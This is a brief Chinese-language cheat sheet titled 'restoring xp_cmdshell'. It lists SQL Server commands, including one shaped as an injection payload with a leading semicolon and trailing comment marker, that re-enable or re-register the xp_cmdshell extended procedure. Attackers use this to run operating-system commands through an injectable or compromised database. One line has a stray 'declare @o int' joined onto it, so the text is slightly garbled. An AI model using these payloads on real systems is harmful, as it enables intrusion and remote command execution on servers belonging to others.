恢复xp_cmdshell方法

 ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

或者

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'